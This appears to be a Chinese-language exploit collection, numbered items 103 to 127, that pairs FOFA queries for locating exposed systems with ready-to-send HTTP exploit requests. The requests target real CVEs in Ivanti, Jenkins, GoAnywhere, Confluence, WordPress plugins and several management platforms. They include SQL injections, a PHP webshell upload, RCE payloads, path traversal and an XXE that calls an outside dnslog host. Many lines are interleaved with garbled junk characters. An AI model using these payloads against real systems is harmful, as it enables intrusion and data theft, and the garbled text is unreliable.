<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

# |; W5 a# B8 ^9 p" H2 N103. Ivanti Pulse Connect Secure VPN XXE
2 s+ `/ |* y6 r" n' S3 JCVE-2024-22024
/ D/ Y8 V# ^8 ]- ]9 i2 CFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
# X% p# z" B9 a* u4 KHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
3 W8 b' m, ^) \& s( l1 ~% W; {/ a0 Y/ @Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
6 r; o7 ]. Z. c3 c/ ^, ~  fAccept-Encoding: gzip

% c0 N  G+ S- ~% n1 I' x5 W5 \SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

) X+ ~% |* `! x7 n1 X  ]
! ]$ K  i1 u. @! K; V  {其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
9 `& ^( [  w. X<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
; |9 Y( I. L. r4 h
# Q& i0 N: o' F2 M5 U$ _  }. |
# `  _7 ?' M! I9 m104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
7 d) R7 G" U) N: TCVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
& Z/ W6 n. Y) r  `Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
" O. Z# e( G, [5 L  O- x; IUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
( B2 |& T7 N. [; _: x% r3 RContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
# u# f! s9 _0 w# lReferer: http://192.168.0.1/advance/index.html?time=1671152380564
/ W- i" S. `7 Y# S# HAccept-Encoding:gzip,deflate
- ]5 j8 R3 R+ {( [8 sAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

{
/ A# r2 E2 ]% J1 I; y# s  P, E"topicurl":"getSysStatusCfg",
! K1 t+ [2 `- T) w5 v: l- j"token":""
$ B6 z/ Y# @) v' Y* p" |5 _9 d}

; j. Q9 R$ d6 l# Q# o105. SpringBlade v3.2.0 export-user SQL 注入
4 O0 d4 w6 [, k0 I- [FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
( E1 r8 d  ?7 @3 ?
; p) V, n' m9 F2 n106. SpringBlade dict-biz/list SQL 注入
, q2 R0 I! Q; z6 t2 lFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
" D6 y: h! r7 K" V( N1 C3 @8 K& I
% D6 d: W  E' P/ v
107. SpringBlade tenant/list SQL 注入
$ o  w$ e! r3 F# O6 C1 ]- fFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
# ?2 z6 {* |! e" e+ NHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
6 r% ], i& b# o7 t2 ]Connection: close

( {6 m( @/ [$ z; l" b' \" |: q: n
108. D-Tale 3.9.0 SSRF
) a3 e( r* ]7 ?1 ^CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
% u0 q3 p; K) n" n+ y& z8 qHost: your-ip
4 ?) `! o9 r; v8 _7 vAccept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
" z& g9 g3 s9 F4 D. TAccept-Encoding: gzip, deflate
! @4 P/ |; U+ ^5 S) f7 y# ?9 m# vAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
/ Z4 i, G* w5 |Connection: close

2 B- a, _& t3 B5 z" \( q
109. Jenkins CLI 任意文件读取
: a* l) k+ v: q/ ^7 ~" ACVE-2024-23897
# S' f" @/ K# {( k1 U" V# r6 i# @FOFA：header="X-Jenkins"
  @, I( G, d  T" o1 ?: CPOST /cli?remoting=false HTTP/1.1
Host:
) n! H1 ], X# W: P8 Q8 l! QContent-type: application/octet-stream
' e# y  y, u( j# mSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
1 G# Z8 }# A% L% DSide: upload
1 g% f  p! n& G3 N( _Connection: keep-alive
Content-Length: 163

( ]. ?- b( D" m+ D4 tb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
" {- }" I; M" P" c& |7 y

( \  \) U7 x% i. \POST /cli?remoting=false HTTP/1.1
& x; J( a8 z! M* i- i. Q) aHost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
' D% ?! ]( D  Q7 WContent-Type: application/x-www-form-urlencoded
Content-Length: 0


+ H: ^7 H4 @9 |: _! _$ p8 Y1 C/ B4 L: PERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
6 J7 Z+ h, S! v' K2 {" c7 y3 `java -jar jenkins-cli.jar help
[COMMAND]
7 S3 S2 \' A1 f6 t7 ]6 r5 tLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
; h3 z" T3 [' m% `" r
% |4 o2 @. C7 R: @8 ]
110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
4 L7 r, e3 ~4 h" WFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
' P! n! H+ `+ @9 BGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
6 [, `6 g* ^8 c  FHost: 192.168.40.130:8000
4 h  C% ]; @8 }* W5 T4 Z0 f1 XUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
, D& D+ k: u' d# v+ G: |8 C5 rConnection: close
$ m  j: \- u4 r3 r4 |& d& U- a) w- \Accept: */*
Accept-Language: en
7 l# ?  s9 H! }0 cAccept-Encoding: gzip
& R2 }( A2 V0 X: K  ]( B

111. WordPress Plugin HTML5 Video Player SQL注入
9 ^( l1 @' [. R: lCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
' _  E/ L- w" d; xHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
: q5 P' C+ ?! TConnection: close
* o0 d! I. R6 lAccept: */*
Accept-Language: en
! W' Q( ]% V- G( `  k" |0 KAccept-Encoding: gzip
4 I) V: V. q+ o5 Y+ C: h
* G- r$ \: i$ E
112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
9 ]; _5 P# ^- W# E, \1 }Host: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

/ V- B/ D/ o( L& s. H6 ?/ o
- b/ d  P! [- \113. WordPress Automatic 插件任意文件下载和SSRF
' z8 v1 s% j) |9 L& C8 R9 H1 UCVE-2024-27954
1 t# N& P8 C0 q: eFOFA："/wp-content/plugins/wp-automatic"
% Z  s+ b/ L. S, gGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
; |& z% B  ?0 D( y4 F8 ZConnection: close
3 y/ V$ n: x+ ]5 V$ Z1 gAccept: */*
, h: s6 m0 C6 S9 a1 i# XAccept-Language: en
9 S$ D* t2 H: S- Y& ~Accept-Encoding: gzip


* X! a/ i- ]* S114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
" A2 t/ u- }+ v9 qUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

! x% i$ U$ t5 O0 C& ~
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
4 `/ [( f1 a! r" }8 {) mFOFA: body="/wp-content/themes/bricks/"
% q& `  q# D' ~第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
4 Z9 C7 G4 T- a* f4 u3 h. ], I3 P: fUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
* ]4 }! V1 v: s( z7 T& UConnection: close
Accept-Encoding: gzip


+ L0 x) Z  {: u3 t3 u第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
' F; ?  ]1 v- R9 ]Content-Length: 356
- \# @' O6 C' g: a  N* H: a6 oContent-Type: application/json
1 s/ _) v5 e/ T% j7 @  Z0 CAccept-Encoding: gzip

{
- T. Q9 c* q8 e$ b: C. q4 E- P"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
* h2 Y  S9 `+ c' E. t7 d2 c2 }    "settings": {
      "hasLoop": "true",
; L- S& K' z6 P1 d& X      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
1 \- i8 r4 H* C        "objectType": "post"
" N' |# l  O: \7 t. i      }
" B( z' g4 \% y+ r# C: K4 I    }
  }
}
5 v( [, ^9 H8 K' u/ V+ f0 F
! w; K4 B7 b4 ]5 O
8 y8 t* g7 L; H116. wordpress js-support-ticket文件上传
; L! u* V7 x' w2 [FOFA：body="wp-content/plugins/js-support-ticket"
: G3 Z# @( _1 w5 f6 p9 N" nPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
: Q  K% K8 d9 Q+ tContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
" _6 B$ S& N/ {# S9 ?* {1 w$ }
( I) X+ `1 `% v* E# Y2 U+ J----------767099171
3 ?, }! L1 P6 ^6 m' G3 N8 v: I2 j9 f1 L* mContent-Disposition: form-data; name="action"
& x# R+ Q" @0 V, mconfiguration_saveconfiguration
----------767099171
7 ?* z$ f( Q- f3 ^: Q0 h# FContent-Disposition: form-data; name="form_request"
1 q- y1 ~! v6 k  T' G, _jssupportticket
! A$ w8 Z7 k/ E  ~* B) }, ]' ]----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
8 g; ~/ t7 X' _  J----------767099171--
' f% W! R( T, U5 x
+ p4 b7 g+ y, F; N$ a: u+ L3 F
  R6 ~: O! N. D117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
: ~1 v! N  G: _6 }5 c& aGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
0 M4 r+ l  ?! Z, @' T6 OHost: your-ip
: I& {" p; I, QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ [: x0 ^! }" C2 YAccept-Encoding: gzip, deflate, br
  b1 Q* _2 Z2 j. ?( b/ g  ZConnection: close
0 J5 S2 Q1 y: p7 xUpgrade-Insecure-Requests: 1
4 W% v" W: S7 |6 y" a7 z  ]* k

118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
2 Z) P# H! F! k; {# ^CVE-2024-0939
/ @/ G! c1 t2 r1 i/ K" j( YFOFA：title="Smart管理平台"
2 y- o, C" B) Z, k' z0 Q! _+ o6 V: ?POST /Tool/uploadfile.php? HTTP/1.1
3 L  V" N6 @& mHost: 192.168.40.130:8443
+ ^; o8 T1 n* |7 G+ V( I: x. NCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
6 y5 x0 N$ c7 \  q2 B5 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 S6 K" n% w( v- m; x0 KAccept-Encoding: gzip, deflate
$ U, W- w9 b! b! F6 m4 e3 \4 sContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
, L  B" e( x5 y# uSec-Fetch-Site: same-origin
! x) ~- s, i$ k! X- `. JSec-Fetch-User: ?1
! K7 p) {4 {8 i2 d* k$ x* _6 oTe: trailers
Connection: close
' P% J$ o# d6 ^$ U
-----------------------------13979701222747646634037182887
; O7 P/ J: h( c/ p8 J# N: N9 M1 Y- rContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

<?php
system($_POST["passwd"]);
, {, _+ T# M  e3 u' v; f" ^& {7 l1 X?>
-----------------------------13979701222747646634037182887
5 @$ l# j, y' H' ^; ^9 qContent-Disposition: form-data; name="txt_path"

' N8 G% i# f: g7 G/home/src.php
2 G8 w- L4 x) e: m! v: d6 U' a-----------------------------13979701222747646634037182887--
  T% a% Y5 e! V" S) b. Q' k- i+ h
5 E6 J; B) C6 ^6 X: Q; E- ~) O
1 _' p  K/ _9 s! e2 `) x访问/home/src.php
$ B! w; m1 |" b  v3 H* V! Y. x
; ?4 ?: X8 U" M- W$ h119. 北京百绰智能S20后台sysmanageajax.php sql注入
1 \. T! g: Y* w, }$ Q* ?$ P2 ^CVE-2024-1254
FOFA：title="Smart管理平台"
; X2 Q5 }4 W+ k3 m  p/ l- |6 I3 R先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
0 l; R( R) a8 W" F  m$ d* |Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
" f5 h3 e3 L0 G1 aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
" j4 f, d" B' ^& q( s- g9 xOrigin: https://58.18.133.60:8443
' D$ Q% c. A) H* \/ I$ [) JReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
) a2 E1 b9 L. T3 }+ B4 v$ WSec-Fetch-Mode: cors
4 V' u7 u+ }" l  gSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
" W3 Z# ^/ |' V- J0 gX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
( _3 Y& H2 W* R" L; }Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
7 g" a( i4 j/ d0 E% r  yCVE-2024-1253
% s. ?$ z9 F. u$ f4 d  }5 W! @, D- AFOFA：title="Smart管理平台"
8 p3 _& w1 r" f! X  lPOST /useratte/web.php? HTTP/1.1
Host: ip:port
$ r' ?' `+ L* w8 [1 @8 LCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
$ L' A, _, Q4 b( XUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
: W0 m7 [- f) i& ~5 X: JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
7 |& W# H6 y5 O, b& t2 xContent-Length: 597
$ i( A$ ~; c8 v$ n( iOrigin: https://ip:port
* q7 \/ f% p$ k: A0 rReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
5 q7 C8 b) p# C& t" t" rSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
0 _! O9 A$ L7 j8 o* tSec-Fetch-User: ?1
Te: trailers
; S+ V( z: e  {. fConnection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
; V) N' ~9 {8 v# b0 y- EContent-Type: application/octet-stream
0 W% J3 N) l) x' O, N) `5 \
<?php phpinfo()?>
4 T) ]+ }4 X6 u* w' r4 F, a/ v-----------------------------42328904123665875270630079328
; W' z$ c$ f7 j) |$ gContent-Disposition: form-data; name="id_type"

8 K% L* [/ K+ `1
3 T4 B% r$ c( f0 X$ e-----------------------------42328904123665875270630079328
! Z' o; |. l- X: k4 A, O1 R$ r& AContent-Disposition: form-data; name="1_ck"
  B& N5 x6 k+ O" q# G; e3 o
1_radhttp
; x* b% U. n* M5 j3 I0 O-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

! [; W' B' k" U+ aimport
-----------------------------42328904123665875270630079328


文件路径/upload/2.php
. Y) |/ f1 j. P; f
, r( W" C" C3 c121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
0 d4 N: t7 d9 {User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
% p8 I$ _) x$ q( F* EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
4 U0 n1 D6 Y0 T: x, z' _Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
3 k# u+ c) v; @) C4 C5 g3 ]Origin: https://192.168.40.130:8443
# {. |- h. @; e+ k' a% wUpgrade-Insecure-Requests: 1
0 u: |+ D2 ?' G7 X+ fSec-Fetch-Dest: document
2 G' H" `, l9 f; K4 s( z" _/ h& FSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
$ y: u$ R8 K3 m& F5 U* A( CConnection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
/ T% Z0 u, A+ }Content-Type: application/octet-stream
7 r  \; {+ Y6 O2 J
2 O6 r% ?2 [4 E! ]+ j6 [<?php phpinfo();?>
1 t' L) k4 M( y$ L" ]8 r! j-----------------------------42328904123665875270630079328
; v! X7 O- S4 w% T1 X* a2 |Content-Disposition: form-data; name="id_type"
, |' V/ h8 P, N9 V& g! O
! T- C7 ?" u, y) H; f% K9 g7 I1
-----------------------------42328904123665875270630079328
% |; |" f  a( Q0 s4 lContent-Disposition: form-data; name="1_ck"
. T- {& S/ M. K' Z' h
1 [) R( g+ ]' V0 _/ e6 N1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

set
! m3 Z1 W+ X" k3 {! a-----------------------------42328904123665875270630079328

9 D# Y: t- c8 n' a: s, r$ M1 B/ `  ?
  H# ~6 O  J0 M( h; W, I7 }6 c, kboot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
% G/ i/ S4 T7 v* O$ cGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
9 Q+ i1 b" ^  S* V& _, aHost: x.x.x.x
8 _( c. q4 U, ~7 K6 x, n$ FCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
3 \: e9 ~7 e" K* b( oSec-Fetch-Mode: navigate
! q9 M) G# ~& _6 rSec-Fetch-Site: none
6 ^4 r+ q3 w7 u- S8 G4 E0 zSec-Fetch-User: ?1
Te: trailers
Connection: close


$ S, D7 E1 K( j+ e( H+ f# ^  E; w5 G123. Atlassian Confluence 模板注入代码执行
6 F1 Q; y9 G% R# |# C  t/ [FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
. z3 b& K$ b6 r/ i0 g% iPOST /template/aui/text-inline.vm HTTP/1.1
; _. ]$ D5 P* j. Y0 @% K% W' nHost: localhost:8090
- ^- |( L$ v+ n: l1 zAccept-Encoding: gzip, deflate, br
Accept: */*
9 H: S9 {: M; L$ l& k! f5 M" MAccept-Language: en-US;q=0.9,en;q=0.8
7 c, H* l: F/ gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
7 I& d6 i: N# r6 tConnection: close
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
4 O& _( ?, D. K' m6 wHost: 192.168.40.130:8282
6 m8 r6 D/ d  P5 E8 [0 D% `% vUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
- \  X  y- w3 o& t- t! AContent-Length: 72
0 p9 M. F" Y- l6 G7 y$ @. BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 R! i8 F- G. e+ N& I6 ^/ i: b. \Connection: close
Content-Type: application/x-www-form-urlencoded
% C, ]4 d8 J/ a1 w6 b* s4 H. z
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
* Z* T6 p* w8 ^4 R% y% |0 z# c
* e* b7 r$ W7 ^, Q) m9 |
$ ^( d) p& T( f5 W2 Dhttp://192.168.40.130:8282/Scripts/abcgcg.aspx

' p4 i0 T; j) ~7 N* D* o, j( W125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
9 C& w9 K/ B# y6 b( i/ a0 c) X  F% EFOFA：icon_hash="-82958153"
$ Y# U& \3 M& k; Mhttps://github.com/watchtowrlabs ... bypass-add-user-poc


使用方法
. N( l! P- {* R3 Z! bpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
0 R0 d: [3 G" O: D8 E3 ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


/ c8 d3 k" s+ d# P- M127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
- @. j% x) Z$ R  i+ V3 wHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
' V5 `6 W3 N- h/ f: G+ tContent-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
9 q' [& ?3 d+ n, \# [Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
1 v( q6 ]" i% _5 T- _Purpose: prefetch
Sec-Purpose: prefetch;prerender
1 E3 N0 X% |& T9 ~# c7 ~
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
, p, g8 {9 v( a8 V- |
